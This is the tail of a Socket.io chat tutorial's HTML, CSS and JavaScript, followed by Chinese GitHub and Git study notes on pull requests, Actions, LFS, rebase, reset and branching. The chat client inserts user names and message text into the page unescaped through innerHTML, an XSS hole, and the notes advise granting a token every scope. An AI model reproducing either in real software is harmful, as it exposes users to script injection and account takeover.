      </div>
      
      <div class="chat-main">
        <div class="users-list-container">
          <h3>在线用户</h3>
          <ul id="users-list"></ul>
        </div>
        
        <div class="messages-container">
          <div id="messages" class="messages-content"></div>
          
          <div class="typing-indicator" id="typing-indicator">
            <span id="typing-username"></span> 正在输入...
          </div>
        </div>
      </div>
      
      <div class="message-input-container">
        <input type="text" id="message-input" placeholder="输入消息..." />
        <button id="send-btn">发送</button>
      </div>
    </div>
  </div>

  <script src="/socket.io/socket.io.js"></script>
  <script src="script.js"></script>
</body>
</html> 
```

```css
* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
  font-family: 'Microsoft YaHei', Arial, sans-serif;
}

body {
  background-color: #f5f5f5;
  height: 100vh;
  display: flex;
  justify-content: center;
  align-items: center;
}

.container {
  width: 90%;
  max-width: 800px;
  height: 80vh;
  background-color: #fff;
  border-radius: 8px;
  box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
  overflow: hidden;
  display: flex;
  flex-direction: column;
}

/* 登录部分 */
.login-container {
  width: 100%;
  height: 100%;
  display: flex;
  flex-direction: column;
  justify-content: center;
  align-items: center;
  padding: 20px;
}

.login-container h1 {
  margin-bottom: 20px;
  color: #333;
  text-align: center;
}

.login-form {
  display: flex;
  flex-direction: column;
  width: 100%;
  max-width: 300px;
}

.login-form input {
  padding: 10px;
  margin-bottom: 15px;
  border: 1px solid #ddd;
  border-radius: 4px;
  font-size: 16px;
  outline: none;
}

.login-form button {
  padding: 10px;
  background-color: #4caf50;
  color: white;
  border: none;
  border-radius: 4px;
  cursor: pointer;
  font-size: 16px;
}

/* 聊天部分 */
.chat-container {
  width: 100%;
  height: 100%;
  display: flex;
  flex-direction: column;
}

.chat-header {
  padding: 15px;
  background-color: #4caf50;
  color: white;
  display: flex;
  justify-content: space-between;
  align-items: center;
}

.chat-main {
  display: flex;
  flex: 1;
  overflow: hidden;
}

.users-list-container {
  width: 25%;
  background-color: #f8f8f8;
  padding: 15px;
  border-right: 1px solid #eee;
  overflow-y: auto;
}

.users-list-container h3 {
  margin-bottom: 10px;
  color: #333;
  font-size: 16px;
  padding-bottom: 5px;
  border-bottom: 1px solid #eee;
}

#users-list {
  list-style-type: none;
}

#users-list li {
  padding: 8px 5px;
  border-radius: 4px;
  margin-bottom: 5px;
}

#users-list li.current-user {
  font-weight: bold;
  background-color: rgba(76, 175, 80, 0.1);
}

.messages-container {
  width: 75%;
  display: flex;
  flex-direction: column;
  position: relative;
  flex: 1;
  overflow: hidden;
}

.messages-content {
  flex: 1;
  padding: 15px;
  overflow-y: auto;
}

.message {
  margin-bottom: 10px;
  padding: 8px 12px;
  border-radius: 5px;
  max-width: 80%;
  position: relative;
}

.message.received {
  background-color: #e6e6e6;
  align-self: flex-start;
}

.message.sent {
  background-color: #dcf8c6;
  align-self: flex-end;
  margin-left: auto;
}

.message.system {
  background-color: #fff3cd;
  width: 100%;
  text-align: center;
  font-style: italic;
  color: #856404;
}

.message-info {
  font-size: 12px;
  color: #888;
  margin-bottom: 5px;
}

.message-text {
  word-wrap: break-word;
}

.typing-indicator {
  padding: 8px;
  margin-top: 5px;
  display: none;
  font-size: 14px;
  color: #888;
  font-style: italic;
}

.message-input-container {
  display: flex;
  padding: 10px;
  border-top: 1px solid #eee;
  background-color: #f9f9f9;
}

#message-input {
  flex: 1;
  padding: 10px;
  border: 1px solid #ddd;
  border-radius: 4px;
  font-size: 16px;
  outline: none;
}

#send-btn {
  padding: 0 15px;
  margin-left: 10px;
  background-color: #4caf50;
  color: white;
  border: none;
  border-radius: 4px;
  cursor: pointer;
  font-size: 16px;
} 
```

```js
document.addEventListener('DOMContentLoaded', () => {
  // DOM元素
  const loginContainer = document.getElementById('login-container');
  const chatContainer = document.getElementById('chat-container');
  const usernameInput = document.getElementById('username-input');
  const joinBtn = document.getElementById('join-btn');
  const messageInput = document.getElementById('message-input');
  const sendBtn = document.getElementById('send-btn');
  const messagesContainer = document.getElementById('messages');
  const usersList = document.getElementById('users-list');
  const currentUserSpan = document.getElementById('current-user');
  const typingIndicator = document.getElementById('typing-indicator');
  const typingUsername = document.getElementById('typing-username');
  
  let username = '';
  let typingTimeout = null;
  
  // 建立Socket.io连接
  // 这里创建了一个Socket.io客户端实例，连接到当前服务器
  const socket = io();
  
  // 处理用户登录
  // 当用户点击"加入聊天"按钮时，发送join事件到服务器
  joinBtn.addEventListener('click', joinChat);
  usernameInput.addEventListener('keypress', (e) => {
    if (e.key === 'Enter') joinChat();
  });
  
  function joinChat() {
    username = usernameInput.value.trim();
    if (username) {
      // 发送'join'事件到服务器，传递用户名
      socket.emit('join', username);
      
      // 隐藏登录界面，显示聊天界面
      loginContainer.style.display = 'none';
      chatContainer.style.display = 'flex';
      currentUserSpan.textContent = username;
      
      // 自动聚焦到消息输入框
      messageInput.focus();
    }
  }
  
  // 处理发送消息
  // 当用户点击"发送"按钮时，发送sendMessage事件到服务器
  sendBtn.addEventListener('click', sendMessage);
  messageInput.addEventListener('keypress', (e) => {
    if (e.key === 'Enter' && !e.shiftKey) {
      e.preventDefault();
      sendMessage();
    }
  });
  
  function sendMessage() {
    const message = messageInput.value.trim();
    if (message) {
      // 发送'sendMessage'事件到服务器，传递消息内容
      socket.emit('sendMessage', message);
      messageInput.value = '';
      
      // 取消打字状态
      socket.emit('typing', false);
    }
  }
  
  // 监听键盘输入，发送打字状态
  // 当用户正在输入消息时，发送typing事件到服务器
  messageInput.addEventListener('input', () => {
    // 如果有内容，发送打字状态
    if (messageInput.value.trim().length > 0) {
      if (!typingTimeout) {
        socket.emit('typing', true);
      }
      
      clearTimeout(typingTimeout);
      typingTimeout = setTimeout(() => {
        socket.emit('typing', false);
        typingTimeout = null;
      }, 2000); // 2秒后自动取消打字状态
    } else {
      // 如果没有内容，取消打字状态
      clearTimeout(typingTimeout);
      socket.emit('typing', false);
      typingTimeout = null;
    }
  });
  
  // 接收消息并显示
  // 监听服务器发送的'message'事件
  socket.on('message', (message) => {
    // 创建消息元素
    const messageElement = document.createElement('div');
    messageElement.classList.add('message');
    
    // 根据消息类型添加不同的样式
    if (message.user === '系统' || message.user === 'System') {
      messageElement.classList.add('system');
    } else if (message.user === username) {
      messageElement.classList.add('sent');
    } else {
      messageElement.classList.add('received');
    }
    
    // 格式化时间
    const messageTime = new Date(message.timestamp).toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' });
    
    // 设置消息内容
    messageElement.innerHTML = `
      <div class="message-info">
        <strong>${message.user}</strong> <span>${messageTime}</span>
      </div>
      <div class="message-text">
        ${message.text}
      </div>
    `;
    
    // 添加到消息容器
    messagesContainer.appendChild(messageElement);
    
    // 滚动到底部
    messagesContainer.scrollTop = messagesContainer.scrollHeight;
  });
  
  // 处理打字状态
  // 监听服务器发送的'userTyping'事件
  socket.on('userTyping', (data) => {
    if (data.isTyping && data.username !== username) {
      // 显示某用户正在输入
      typingUsername.textContent = data.username;
      typingIndicator.style.display = 'block';
    } else {
      // 隐藏打字状态
      typingIndicator.style.display = 'none';
    }
  });
  
  // 更新用户列表
  // 监听服务器发送的'updateUserList'事件
  socket.on('updateUserList', (users) => {
    usersList.innerHTML = '';
    users.forEach(user => {
      const li = document.createElement('li');
      if (user === username) {
        li.classList.add('current-user');
        li.textContent = `${user} (你)`;
      } else {
        li.textContent = user;
      }
      usersList.appendChild(li);
    });
  });
}); 
```

---

---
url: /posts/vmn8yf43/index.md
---
# GitHub + Git知识整理
访问Github辅助工具：dev sidecar 直供下载

```
密码：2ljp
```

## GitHub仓库

### 历史起源

[Git与GIthub的故事](https://blog.brachiosoft.com/en/posts/git)

### 汉化

使用 **篡改猴** + **Github 汉化插件** [链接直达github-chinese](https://github.com/maboloshi/github-chinese)

> \[!important]
>
> 此插件主要针对菜单，按钮功能汉化，无法对README文件内的英文进行汉化，可以借助其他插件，比如 沉浸式翻译

### 快捷键

`.` 网页版VsCode

`/` 快速打开Github搜索框

`T` 快速定位到文件搜索栏

`L` 在代码中可以快速定位到行号

`.` 网页版VsCode

`/` 快速打开Github搜索框

`T` 快速定位到文件搜索栏

`L` 在代码中可以快速定位到行号

选中行功能：

* Copy line 复制这一行

* Copy permalink 复制永久链接（可以通过分享链接，与其他人分享代码）

* View git blame 查看文件提交历史（每行代码的提交者）

...

在网页版VsCode 中如果想对代码进行调试，Github提供了一个codespace的运行环境，点击`运行/调试`按钮，点击`继续工作`，点击`Create New Codespace`，根据需求从Github申请一个远程的运行环境，点击`Run`，然后就可以在网页版Vscode中调试修改代码了

> \[!important]
>
> Github Codespace 有一定的免费使用额度
>
> 在账号`Settings`，在`Billing and plans`点击`Plans and usage`，往下找到**codespaces**的使用额度，每个账号每个月提供120小时的免费使用额度，超过则需要付费

### 搜索功能

#### search

搜索你感兴趣的项目，可以搜索项目，代码，讨论等...

或者使用**高级搜索**，在Github搜索框中输入 `saved:`点击`Manage saved searches`即可创建搜索预设

[点击跳转search](https://github.com/search)

#### explore

[点击跳转explore](https://github.com/explore)热门仓库以及兴趣推荐等...

#### stars

查看所有你点击过stars的项目[点击跳转stars](https://github.com/stars)

### Issue

用于与项目作者进行讨论

可以点击`New issue`发起一个讨论，比如提出你在项目中遇到的bug，帮助对项目进行完善或者对项目新功能的期待，也可以参与讨论或者帮助其他人解决问题

**Issue分为两种**：

* **open** 指的是还没有解决的bug，或者还在讨论的问题
* **closed** 指的是已经解决的bug，或者已经结束的讨论

> \[!tip]
>
> 在使用和学习开源项目中，不妨在搜索框 ↑  中搜一搜，因为有些问题别人可能也遇到了，并且在Issue中已经有人给出了解决方案

### Releases

项目的发行安装包，根据实际需求下载对应安装包，在CMD窗口输入`wmic cpu get caption`查看自己CPU架构

### 开源协议

> 图片http://ruanyifeng.com/blog/Cc-By-3.0/2011.5.2

![开源协议图解]()

**GPL**：其他人修改完代码的项目也必须保持开源（衍生作品也必须开源）

争议：具有传染性，意味着如果一个项目使用了部分GPL代码，则整个项目都必须遵循GPL协议，而且必须保持开源

**LGPL**：宽松版的GPL协议，新增部分的代码不必要使用原版协议，这样不怕GPL协议传染整个项目

**Apache**：需要为每个修改后的文件放置版权说明

**MIT/BSD**：只需要在项目中保留一份协议的副本 ，就可以几乎随意使用开源代码

**BSD**：不可使用原作者的名字对项目进行促销推广

### Gist

一般用来分享单个代码文件，或者是小的代码片段

#### 分享方式

**网页嵌入**

```js
<script src="https://gist.github.com/yumengjh/971e97c8855a5bb8e7ba2756f3985dfc.js"></script>
```

**原地址页面**：

https://gist.github.com/yumengjh/971e97c8855a5bb8e7ba2756f3985dfc

**克隆**

...

### pull reauest

意思是 **拉取请求**（合并请求）

将更改从一个分支合并进另外一个分支的提案，通常来说，项目的贡献者在自己的分支上进行代码修改，然后他会创建一个pull request，也就是把自己的分支合并进主干分支的提案

pull request**会比较两个分支之间的代码差异**

然后仓库的管理员会来审核这个代码的改动，这个过程叫做**Code review**也就是代码审核

在代码审核过程中，管理员可以提出自己的修改意见，当管理员确认代码改动是OK的以后，他会同意合并，这样特性分支的代码就会合并进主干分支，功能开发也就完成

#### 创建pull request

点击`pull request`选项，再点击`New pull request`选项

然后选择合并方向

对修改确认无误后，点击`Create pull request`，写一个标题，填写描述，完成后点击`Create pull request`

管理员可以点击`Files changed`开始审核代码

审核时，管理员可以比较代码的不同，他可以在某一行上点击加号留下评论，最终他会给一个代码审核的意见

最后，管理员认为代码OK，可以合并的时候，就可以点击`merge pull request`

### WiKi

点击头部的wiki标签栏即可进入

用于存放项目的详细文档，指南，API文档，设计文档。适合放置**较大，结构化**的文档内容

Wiki也是一个独立的Git仓库，可以独立克隆和推送

### Insights

用于帮助项目维护者和贡献者分析和理解他们代码库的状态和活动。

### Pulse

Pulse是一个快速查看项目近期互动的好方法，可以让你了解项目的动态。

pulse提供了项目的简要活动概要，包括：

已合并的拉取请求（Merged Pull Request）

开启的拉取请求（open Pull request）

关闭的问题 （Close issues）

新开启的问题（New Issues）

### Contributors

这个部分展示了所有的贡献者的详细信息，包括每个贡献者的提交信息，添加和删除的代码行数等，它帮助识别主要贡献者以及他们对项目的贡献量

### Traffic

Traffic insights提供了有关项目访问量的详细信息

### Dependabot

Dependabot是一个GIthub自动化的功能，可以**定时检查依赖项有无更新**，如果存在依赖的库有版本更新，那就自动创建**pull request** 帮助更新到最新版本

```yaml
version: 2
updates:
  - package-ecosystem: "npm" # See documentation for possible values
    directory: "/" # Location of package manifests
    schedule:
      interval: "weekly"

```

`package-ecosystem`指的是**包管理**工作名字

`directory`指的是项目依赖文件的**目录**

`interval`**扫描间隔** - weekly指的是每周扫描一次

Dependabot更多功能：[点击跳转](https://docs.github.com)，进入后搜索 **dependabot.yml** 即可深度学习Dependabot的配置

### Project

Github Project就是项目看板，是一种**可视化管理工具**，用于组织和跟踪项目的进度任务

* **Todo** 是代办事项
* **In Progress** 是进行中事项
* **Done** 是完成事项

点击卡片左下角即可创建事项

### current iteration

current iteration 指的是当前迭代的工单状态

迭代 是敏捷开发里面的一个专业术语，一般两个星期是一个迭代，每个迭代上线一批功能，然后经过QA测试，然后推送上线，也可以自己定义迭代的时间周期等等的，在右上角的设置里面调节

### Discussion

围绕项目的论坛，一般discussion是比较大的项目启用的功能，小项目用Issue即可

### 贡献者流程

一般先点击Issue参加讨论，可以把你的想法通过Issue和开发者进行交流

可以提一个Issue，填写标题和描述，描述你的大体的实现思路，实现完成后会提交pull request，请问维护者，大家觉得怎么样，**提交Issue**

如果开发者看到了一个Issue并且觉得不错，会回答你：期待你PR

**贡献**:

#### **第一步：**

先fork复刻项目，把项目复制一份到自己的名下

#### **第二步：**

在`Code`按钮，找到HTTPS复制，回到Desktop，找到`Clone repository...`输入即可

或者使用`git clone URL`

#### **第三步：**

创建分支，在分支上进行功能开发，而不是直接使用main分支

开发完功能后，提交一下，提交信息：实现xxx功能

#### **第四步：**

点击`Publish branch`推送远端

#### **第五步：**

同步一下母项目的代码，防止提交PR的时候不会产生冲突

回到GIthub仓库，点击`Sync fork`，从母项目往子项目同步代码

#### **第六步：**

把子项目的main分支合并到feature分支

因为子项目feature分支是个人分支，可以减少一次merge记录，选择Rebase，出现冲突按照需求解决即可

#### **第七步：**

点击`Force push origin`强制推送

通过了rebase方法同步了母项目代码，防止提交PR的时候不会产生冲突

#### **第八步：**

创建PR

当项目管理者认为代码可以的时候，点击`Merge pull request`

当图标变成**紫色Merged**

完成了对开源代码的贡献

仓库的Contributors就会出现贡献者的名字

贡献者可以回到本地将开发分支删除，保留main分支随时关注母项目的改动，有改动点击`sync fork`同步代码

如果还想进行功能开发，再在Desktop创建分支进行开发就行了

### Github大文件

在Github中单个文件的大小是被严格限制的，如果单个文件大于50M，push的时候回触发警告，如果大于100M会直接拒绝

**Git LFS (Git Large File System )** ->大文件系统

LFS使用一个单独的文件存储服务器专门存储大文件，我们仓库只存了一个大文件的引用

**安装LFS**

```bash
git lfs install 
```

**指定哪些文件需要由LFS管理**

```bash
git lfs track '文件类型'
```

`*.mp4`表示我系统的所有MP4文件都由大文件系统管理

当一个文件大于100M无法推送，得使用LFS就可以推送

> \[!IMPORTANT]
>
> 存储空间并不是完全免费的，进人右上角个人账号，点击Setting，找到Biling and plans，有一个plans and usage，往下找，有一个**Git LFS Data**

### Github Action

#### Action脚本

Github 的自动化流水线

可以编写一个action脚本，制定Github完成一系列的自动化操作，最场景的用法就是CI/CD

CI/CD的意思是Continuous lntegration / Continuous Delivery，持续集成 持续交付

比如我们希望每提交一次代码的时候，程序能自动完成单元测试，代码编译，程序构建，推送到服务器并且完成部署，这整一套的自动化过程就是CI/CD

#### Action 市场

由于很多操作在很多项目里面是类似的，完全可以共享

所有允许开发者将每个操作写成独立的脚本文件存放到代码仓库里面

存放官方写好的Action https://github.com/actions

https://github.com/marketplace Github市场，其中也有Action选项卡，可以搜索需要的

每个Action 都是一套自动化的流程，都有相应的代码

#### 引用

引用别人的Action，使用	**uses: 作者名称/Action的名称@版本号**

```yaml
uses: sayyid5416/pyinstaller@v1
```

#### 术语

##### workflow

**workflow**（工作流程）：每个workflow对应一个文件，存放在仓库的.github/workflow目录

##### job

**job**（任务）：一个workflow由一个或者多个jobs构成，含义就是一次工作流程，需要完成的多个任务

##### step

**step**（步骤）：每个job由多个step构成，一步一步的完成

可以看到，workflow是有层级关系，第一层是workflow，第二层是job，第三次是step

**为什么要定义出job和step两个层级？区别？**

不同的job默认是**并行运行**，这样可以提高效率。并且每个job运行在独立的**虚拟环境**中，也就是每个job其实都是运行GitHub的不同的服务器里，这样可以避免job之间的相互干扰。

而step是**顺序执行**，而且同一个job之间各个的step是按照从上到下的顺序在同一个虚拟环境里面顺序执行的

##### event

**event**（事件）：也就是触发器，action通常需要某种事件进行触发，这里的事件可以是提交代码，创建分支，提交PR，某个时间点定时等等...

##### runs-on

runs-on:	ubuntu-lastest 申请一个虚拟环境

##### uses

uses:	actions/checkout@v4  检出代码，也就是把项目的代码检出到那个虚拟机里面

#### 计费

对于公共仓库action完全免费

对于私有仓库每个账号都有一定的免费时长，每个月2000分钟，最多只能上传存储500M的内容

**在个人设置可以查看使用额度**

### Github Desktop

[点击跳转GithubDesktop](https://desktop.github.com/download/)

[**通过动画学习Git**](https://pcottle.github.io/learnGitBranching/)

[learnGitBranching项目](https://github.com/pcottle/learnGitBranching)

#### 部分提交

在Github Desktop代码区域点击行号可以进行指定行的提交

#### 放弃更改

右键文件，选择`Discard changes`即可放弃更改，指的是放弃这个文件在本地目录(工作区)的修改

还可以右键 `1 changed file`第一个是**放弃所有更改**，第二个是**保存所有更改**

把这个文件(**工作区**)同步成本地分支(**本地仓库**)的样子

> \[!note]
>
> 放弃的文件会添加到**回收站**内，文件可在**电脑本地回收站**再次找回

#### 保存更改

```bash
git stash // git命令
```

如果工作目录中有**未保存的代码**，是**无法切换分支**的，可以选择**保存更改**代码再切换分支

保存更改后此时本地文件已经**没有保存的更改代码**了

点击`Stashed Changes`查看保存的更改，`Restore`还原，`Discard`丢弃

> \[!important]
>
> **局限性**：Desktop最多只能存储一次的改动，Git命令行则没有，它可以存储很多次的改动

但是如果强行切换分支，会有两个选择

第一个`Leave my changes on feature`就是存储更改代码

第二个`Bring my changes to main`将更改代码带向main分支

**场景**：如果你有开发了一半的代码，现在出现了一个临时紧急工作，需要切换分支进行处理。

对于还没有提交的改动我们可以进行一下处理:

| 操作方法 | git命令                                   | 修改                                       |
| -------- | ----------------------------------------- | ------------------------------------------ |
| commit   | git add. + git commit -m 'commit message' | 工作区文件提交本地分支                     |
| stash    | git stash                                 | 将改动保存起来                             |
| discard  | git reset --hard                          | 抛弃工作区与暂存区的更改                   |
| switch   | git switch ‘branch name’                  | 直接切换分支，你的本地改动会带到新分支上。 |

#### 撤回提交

```bash
git reset
```

点击`History`，右键之前版本选择`Reset to commit`即可

撤销提交后，文件改动保存在工作目录中

> \[!important]
>
> 推送远端后不允许`Reset`，**只限于Desktop**，不允许一些高危操作
>
> **但是可以使用Git命令行进行操作**
>
> 右键仓库选择`Open in Command Prompt`打开命令提示符
>
> **查看历史提交记录**
>
> ```bash
> git log // 按Q键退出
> ```
>
> **mix**指的是撤销提交，但是保留我的本地文件更改
>
> ```bash
> git reset --mix 'ID'
> ```
>
> 当通过Git撤销的提交存在远程分支，本地是没有了，因为刚刚通过命令行撤回了，但是还存在于远程，如果在**GitHub Desktop**点击`pull`会把那次提交又拿回来了
>
> 所以继续使用**git命令行**操作，**把本地分支强行推送远程仓库**
>
> ```bash
> git push -f
> ```
>
> `-f`指的是强制推送，不论远端分支是什么状态，就把**本地分支强制覆盖到远端**（高危操作）

#### 反向提交

```bash
git revert
```

在`History`页面右键版本选择`Revert changes in commit`生成了一个新的提交，最后推送即可

Revert 的意思是使用**反向操作**抵消上一次的更改

**反向操作**：比如之前是删除一行代码，那就是增加一行代码，反之，新增则是删除

> \[!tip]
>
> 在多人协作开发中，我们应该使用**revert操作**，而不是使用**命令行reset操作**，因为推送到远端后，不允许reset后提交，只能拉回代码，但是可以使用命令行强制推送覆盖远端仓库

#### 更改提交

```bash
git commit --amend
```

右键版本选择`Amend commit...`  ，意思是修正更改，点击后即可重新编辑**提交信息**或者**代码**

完成后点击`Amend last commit`，**注意：并没有产生新的提交，只是把上一次的提交修正一下**

**注意：只适用于最新的提交**

> \[!important]
>
> 如果提交已经推送，再点击`Amend commit...`  ，会进行警告，提示我们这次修改完后，必须使用**force push**强制推送才能把修改推送到远端

| Git操作 | Git命令                                                      | 使用场景                                 | 注意事项                                                     |
| ------- | ------------------------------------------------------------ | ---------------------------------------- | ------------------------------------------------------------ |
| discard | git restore '文件名' (单个文件)    git reset --hard (所有文件) | 工作区的修改还未commit                   | 舍弃掉工作区修改的文件                                       |
| reset   | git reset 'commit ID'                                        | 还原到某个commit状态，舍弃之后的commit   | 如果reset已经推送到远端的commit，会强制推送，集成分支禁止强制推送 |
| revert  | git revert 'commit ID'                                       | 使用一个新的提交抵消掉某一次commit的修改 |                                                              |
| amend   | git commit --amend                                           | 只能修改最新一次commit                   | 如果amend 已经推送到远端的commit，会强制推送，集成分支禁止强制推送 |

#### 标签

`Tag`意思把选中的版本标记为一个项目的重要事件

可以创建一个Tag作为软件的版本号

**操作**：右键历史版本选择`create tag`，写一个tag名称，比如`v1.3.5`，表示这一次提交就是项目的v1.3.5版本，之后可以使用版本号进行版本发布

#### 分支合并

之前使用的是**Github网站**进行`pull request`进行合并

也可以使用**GIthub Desktop**进行`merge`分支合并

```bash
git merge
```

首先切换到接受合并的分支

点击`Choose a branch to merge into ***`，选择一个分支合并进**当前分支**

##### Create a merge commit

```bash
git merge main
```

**Create a merge commit**：创建一个新的commit，合并到一起

![image](https://jsd.cdn.zzko.cn/gh/fish81/picx-images-hosting@master/image.67xndvadov.webp)

##### Squash and merge

```bash
git merge --squash main
```

**Squash and merge**：把commit3,4,5压缩成一个提交合并进feature分支

![image](https://jsd.cdn.zzko.cn/gh/fish81/picx-images-hosting@master/image.2yyjh7on6k.webp)

##### Rebase

```bash
git rebase main
```

**Rebase**（变基 - 更改地基）：把main分支合并进了feature分支，把feature分支变基到了main分支

变基：我自己的根基不存在了，把自己的分支变更到了main分支上，并且生成一个新的提交

![image](https://jsd.cdn.zzko.cn/gh/fish81/picx-images-hosting@master/image.6pnp2gdx5m.webp)

> \[!IMPORTANT]
>
> 在Desktop使用**变基**，**提示**必须强制推送到GIthub网站`Git push -f`

| 操作     | rebase                     | merge                                          | squash merge                   |
| -------- | -------------------------- | ---------------------------------------------- | ------------------------------ |
| 特点     | 只有线性提交记录           | 会出现所有提交记录，包括merge                  | 只出现一条merge记录            |
| 优点     | 减少一次merge记录          | 保证分支可溯源                                 | 历史记录更加清爽干净           |
| 缺点     | 必须使用强送               | 多一次merge记录                                | 历史记录被合并到一起了         |
| 应用场景 | 在私有分支上可以使用rebase | 多人协作分支必须merge，向主干分支合并必须merge | 多人协作分支，需要保持记录清爽 |

Github网页中`pull request`也有一样选项

#### 优选提交

**cherry pick**指的是优选提交或者拣选调教

比如说只想把commit3，commit3合并到main分支，保留commit5分支在feature分支

##### 使用命令行操作

切换到接受合并的分支

```bash
git switch main
```

选择c3，c4两个commit

```bash
git cherry-pick c3 c4
```

![image-20250128214954084](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744111150_0.png)

##### 使用Desktop操作

按住`shift`键同时选择多个commit，右键选择`Cherry-pick...`，指的是拣选选中的提交

选择要合并的分支，最后点击`Cherry-pick commit to main`即可

> \[!important]  小记
>
> 在Desktop中`Cherry-pick`时，要将分支切换到输出commit的分支，然后再选择若干个commit，命令行则反之

#### 合并冲突

如果两个分支同时修改了同一个文件的同一行代码，合并的时候就会出现conflict（冲突）只能手动修改文件来解决冲突

**Abort merge**：取消这次的merge，两个分支各自还原回去

**Continue merge**：需要先手动解决冲突，即编辑文件，修改成理想状

进入VSCode手动修改代码后回到Desktop即可点击`Continue merge`

#### 拉取冲突

**场景**：你的同事，她已经写完代码并且推送到远程仓库，但是你本地不知道，你修改了同一个文件的同一行，此时你还没有提交

点击`pull origin`，提示冲突，如果拉取更新会将本地代码覆盖，

点击`Stash changes and continue`，存储更改并继续，此时进入文件修改冲突，

回到Desktop✔表示已经解决了，即可commit提交了再push了

#### 文件冲突

**场景**：两个分支同时改动了同一个文件的名字

选中所有文件右键`Discard 3 selected changes`全部撤销更改

打开目录调整为理想状态回到Desktop

点击`View conflicts`，最后再提交上去即可

## git命令行

### 安装Git

检查是否安装

```bash
git --version
```

### 克隆

```bash
git clone url
```

### 状态

查看目前的状态，目前分支，是否与远端分支同步，以及文件修改，暂存区...

```bash
git status
```

### 添加暂存区

使用**Git add .** 会把所有修改的文件添加到暂存区

```bash
git add 'filename'
```

### 取出暂存区

```bash
git restore --staged 'filename'
```

### 提交

```bash
git commit -m 'msg'
```

### 暂存+提交

```bash
git commit -am 'mag'
```

> \[!IMPORTANT]
>
> `-a`的意思是把所有的文件添加到暂存区，
>
> **注意**：只添加修改的文件，新增的文件还是得 `git add .`

### 推送

```bash
git push
```

当第一次推送的时候，会有登录提示，选择GIthub或者Token

**Token**：进入GIthub点击Setting，下拉找到Developer settings，有一个Personal access tokens

打开，点击Token(classic)，点击Generate new Token

选择一个过期时间，勾选全部功能，最后选择Generate token

生成了一个Github token，复制，填写到登录Token处即可完成绑定

### 拉取

```bash
git pull
```

::: tip 建议

建议使用`git pull --rebase`，这个命令可以在拉取更新的时候产生线性提交记录

:::

**场景：**

当写完代码push到远端，被决绝了，原因是团队中其他同事也使用了相同的分支

两人都是从A提交开始写代码，两人同时在写代码，但是同事先把代码提交到远端

当你推送的时候，就会拒绝

![image](https://jsd.cdn.zzko.cn/gh/fish81/picx-images-hosting@master/image.wiqt75qmm.webp)

所以，在实践中，推荐每个人都使用一个独立的分支开发代码，避免此类问题

但是，当两个人需要共同解决同一个分支上的问题时，此时，执行git pull 命令即可

先把远端的最新提交拉取到本地

`git pull` = `git fetch` + `git merge`

![image](https://jsd.cdn.zzko.cn/gh/fish81/picx-images-hosting@master/image.4cl2lao2f7.webp)

因为你的提交和你同事的提交有共同的祖先，Git会merge两个分支的提交，并且创建一个额外的merge提交

经常这么干会累计很多无用信息，把搜索commit变得麻烦，

我们的目的仅仅是：**把自己的提交挂在你同事提交之后**，即可保持历史数据线性的干净

可以使用`git pull --rebase`命令，完成操作

**此命令会暂时把你的提交放到一边，然后拉取远端仓库的提交，再把你的提交挂在后面，即可保持提交线性的干净**

![image-20250207220422773](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744111213_0.gif)

可以修改Git 设置，让Git pull的时候默认使用rebase的方式

```bash
git config pull.rebase true
```

同时**Desktop**也会变化

### 删除

当删除了一个文件，使用

```bash
git rm 'filename'
```

告诉git 这个文件以后不需要管理了,文件夹内也会删除

### 重命名

```bash
git mv 'Oldfilename' 'Newfilename'
```

### 移动

```bash
git mv 'filename' 'file'	// 文件名称+文件夹路径
```

### 提交历史

```bash
git log
```

### 重置状态

```bash
git reset --mixed 'ID'
```

文件修改保留在工作区，之后需要使用强制推送`git push -f`

### 丢弃更改

把指定的文件放弃更改

```bash
git restore 'filename'
```

### 提交详细信息

```bash
git show 'ID'
```

### 反向操作

会生成一个反向操作**抵消**那一次的的更改

```bash
git revert 'ID'
```

填写完提交信息，点击Esc，输入一个冒号，一个wq!，回车

### 修改提交

使用git amend修改提交

当代码提交后，突然后悔了，或者改错了，直接在代码中修正，

现在需要把修改加到上一次提交中，首先`git add .`

修改上一次的提交记录，git commit --amend

还可以修改上一次的提交信息，点击Esc，冒号，wq!，回车

完成了使用amend操作把上一次添加修改了

> \[!NOTE]
>
> **amend**只能对最后一次提交失效
>
> 如果还没有推送，使用`git push`就行，如果推送了，使用`git push -f`，强制推送

### 后悔药

| 操作    | 命令                                                         | 场景                                 | 注意事项                                                     |
| ------- | ------------------------------------------------------------ | ------------------------------------ | ------------------------------------------------------------ |
| discard | git restore 'filename' 单个文件git reset --hard 所有文件 | 工作区的修改还没有提交               | 舍弃掉工作区修改的文件                                       |
| reset   | git reset 'ID'                                               | 还原到某个提交的状态，舍弃之后的提交 | 如果reset已经推送的提交，会造成强制推送，集成分支禁止强制推送 |
| revert  | git revert 'ID'                                              | 使用一个新的提交抵消到某一次的提交   | 在集成分支推荐使用此命令                                     |
| amend   | git commit --amend                                           | 只能修改最新一次的提交               | 如果amend已经push的提交，会造成强制推送...                   |

### 分支

`git branch`  查看所有的本地分支

`git branch -a` 查看所有分支（包括远端的分支）

> \[!NOTE]
>
> 前面是remotes的是远端分支

#### 创建分支

`git checkout -b  分支名称`   创建分支（**基于本地当前分支创建的**）

`git push --set-upstream origin feature2`把本地的feature2分支在远端也叫feature2这个名字，将两端关联起来

#### 删除分支

`git branch -d 分支名称`

> \[!IMPORTANT]
>
> 如果你的分支还没有合并，使用小写d是不能删除的，git会警告，要使用大写的D强制删除

`git push origin --delete 分支名称` 删除远程分支

#### 切换分支

`git switch 分支名称`

#### 检出远端分支

将远端的分支拉取到本地，先同步一下远端分支`git fetch`

当在远端有一个分支，本地不会自动同步，需要使用git fetch 同步，本地才会显示

使用`git checkout 分支名称`  将指定分支检出本地，就是让本地当前的分支变成feature3分支(远程分支)，将feature3分支自动和远端的feature3分支关联起来了

#### 合并分支

先切换到接受合并的分支

`git swtich '切换分支名'`

`git merge 'main'`  指的是把main分支合并到当前分支

还可以合并远端的分支 `git merge origin/远端分支`

#### 比较分支

`git log feature..main` 按照提交比较 ，比较main分支和feature分支之间的提交改动，显示的是main分支上有的，feature分支没有的，可以调换顺序

`git diff feature..main` 按照文件比较 ，比较文件的不同

`git diff` 比较的是工作区和暂存区的差异

` git diff --staged`比较暂存区和本地分支的情况

`git diff HEAD`比较工作区和本地分支的情况

### 区概念

